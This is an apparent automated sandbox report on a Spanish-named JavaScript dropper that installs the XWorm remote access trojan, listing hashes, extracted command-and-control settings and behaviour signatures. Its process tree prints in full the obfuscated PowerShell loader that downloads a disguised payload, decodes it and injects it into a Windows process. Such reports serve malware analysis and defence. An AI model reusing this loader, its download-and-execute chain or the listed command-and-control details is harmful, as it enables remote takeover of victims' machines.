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Analysis
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max time kernel
114s -
max time network
171s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
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submitted
22/01/2025, 12:23
General
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Target
PORTAFOLIO DE TRANSACCIÓN REALIZADA A TERCEROS.js
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Size
164KB
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MD5
730bef083fbd8b608106a9c34c98cdc1
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SHA1
4c8d3440733b2975d1c9a823df735cd11a3351a7
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SHA256
37c427cb456a7fadc42fdcca721a2e24c7f6a43892870b6683bf4bf83ba4f52c
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SHA512
1a4638ccc02d2774377a114c99fa3bf1e2e6790ae6c4c3ef35dc4d7ee146e4201f51c765d49c2ee3ecff3cef7f79ccdd1937bf479c3380da9e6b8276384e477c
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SSDEEP
1536:OWa831+p9/3zJ7WkAZexE7EnhqOWxK4YEYL734izQ6VzYfA75CKPd6BBPWa4pmGu:OWr31O9rtWKXVueEG7LzQ6VYAln2
Malware Config
Extracted
https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
Extracted
xworm
5.0
87.120.116.179:1300
bCXBALbPlXwHNISd
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
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Xworm
Xworm is a remote access trojan written in C#.
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Xworm family
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Blocklisted process makes network request 6 IoCs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Suspicious use of SetThreadContext 1 IoCs
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Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 3 IoCs
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Suspicious use of AdjustPrivilegeToken 2 IoCs
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Suspicious use of SetWindowsHookEx 1 IoCs
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Suspicious use of WriteProcessMemory 10 IoCs
Processes
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C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\PORTAFOLIO DE TRANSACCIÓN REALIZADA A TERCEROS.js"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.saalF/selif/971.611.021.78//:p##h';$restoredText = $originalText -replace '#', 't';$fbPZicdpPLnNokLpLUUk = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$TuqGZoLcamOGIZZbRqKW = New-Object System.Net.WebClient;$WmpcoGKttRcdWLlKWOap = $TuqGZoLcamOGIZZbRqKW.DownloadData($fbPZicdpPLnNokLpLUUk);$cmNLWWGRiiJekGiZcLuk = [System.Text.Encoding]::UTF8.GetString($WmpcoGKttRcdWLlKWOap);$fpWRJWOTLKpKHbtnhiWW = '<<BASE64_START>>';$LUsnnSLKZLWRGHpeWhGj = '<<BASE64_END>>';$eChubkKfbGczPWskKNoL = $cmNLWWGRiiJekGiZcLuk.IndexOf($fpWRJWOTLKpKHbtnhiWW);$nKGLnWLPShqiGxnKZAnW = $cmNLWWGRiiJekGiZcLuk.IndexOf($LUsnnSLKZLWRGHpeWhGj);$eChubkKfbGczPWskKNoL -ge 0 -and $nKGLnWLPShqiGxnKZAnW -gt $eChubkKfbGczPWskKNoL;$eChubkKfbGczPWskKNoL += $fpWRJWOTLKpKHbtnhiWW.Length;$WWLsUZLpUcPmPGCLevKv = $nKGLnWLPShqiGxnKZAnW - $eChubkKfbGczPWskKNoL;$UlvqpiOWbKKZSWNeqbio = $cmNLWWGRiiJekGiZcLuk.Substring($eChubkKfbGczPWskKNoL, $WWLsUZLpUcPmPGCLevKv);$TdLuWlUmfWiLJdmqLLUO = -join ($UlvqpiOWbKKZSWNeqbio.ToCharArray() | ForEach-Object { $_ })[-1..-($UlvqpiOWbKKZSWNeqbio.Length)];$BiikSJUeSKARkKpcNKQW = [System.Convert]::FromBase64String($TdLuWlUmfWiLJdmqLLUO);$LBtKfieNpLWkpLoIoToG = [System.Reflection.Assembly]::Load($BiikSJUeSKARkKpcNKQW);$UcUKdWGZiocUWLqWcobb = [dnlib.IO.Home].GetMethod('VAI');$UcUKdWGZiocUWLqWcobb.Invoke($null, @($restoredText, 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam', 'aspnet_regbrowsers', 'dSbCbiJheWuWALuLWWam', 'dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','dSbCbiJheWuWALuLWWam','1','dSbCbiJheWuWALuLWWam','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
64KB
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Filesize
408KB
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Filesize
40KB
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Filesize
584KB
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Filesize
5.6MB
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Filesize
624KB
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Filesize
10.8MB
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Filesize
8KB
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Filesize
1.7MB
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Filesize
48KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
8KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
136KB